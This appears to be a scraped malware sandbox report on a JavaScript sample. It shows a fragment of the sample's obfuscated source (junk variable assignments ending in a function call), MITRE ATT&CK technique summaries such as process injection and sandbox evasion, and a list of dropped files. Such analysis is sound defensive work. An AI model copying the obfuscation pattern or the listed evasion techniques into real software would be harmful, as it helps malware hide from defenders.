1331	qurbc = "j";
1332	jrtuhyy = "N";
1333	jrtuhyy = "q";
1334	jrtuhyy = "Q";
1335	jrtuhyy = "t";
1336	jrtuhyy = "k";
1337	jrtuhyy = "M";
1338	jrtuhyy = "D";
1339	jrtuhyy = "i";
1340	jrtuhyy = "W";
1341	jrtuhyy = "F";
1342	jrtuhyy = "x";
1343	jrtuhyy = "z";
1344	jrtuhyy = "X";
1345	jrtuhyy = "b";
1346	jrtuhyy = "A";
1347	jrtuhyy = "A";
1348	jrtuhyy = "d";
1349	jrtuhyy = "u";
1350	jrtuhyy = "A";
1351	jrtuhyy = "E";
1352	jrtuhyy = "q";
1353	jrtuhyy = "Q";
1354	jrtuhyy = "b";
1355	jrtuhyy = "l";
1356	jrtuhyy = "Z";
1357	jrtuhyy = "U";
1358	jrtuhyy = "g";
1359	jrtuhyy = "U";
1360	jrtuhyy = "y";
1361	jrtuhyy = "h";
1362	jrtuhyy = "E";
1363	jrtuhyy = "M";
1364	jrtuhyy = "s";
1365	jrtuhyy = "S";
1366	jrtuhyy = "g";
1367	jrtuhyy = "l";
1368	jrtuhyy = "A";
1369	jrtuhyy = "F";
1370	jrtuhyy = "s";
1371	tjarm = "Y";
1372	tjarm = "U";
1373	htifjrf ( );	htifjrf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 183159621374924598.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c2e35cb8-dbb4-4d1d-aef4-fa106573ff32.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7732

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
183159621374924598.js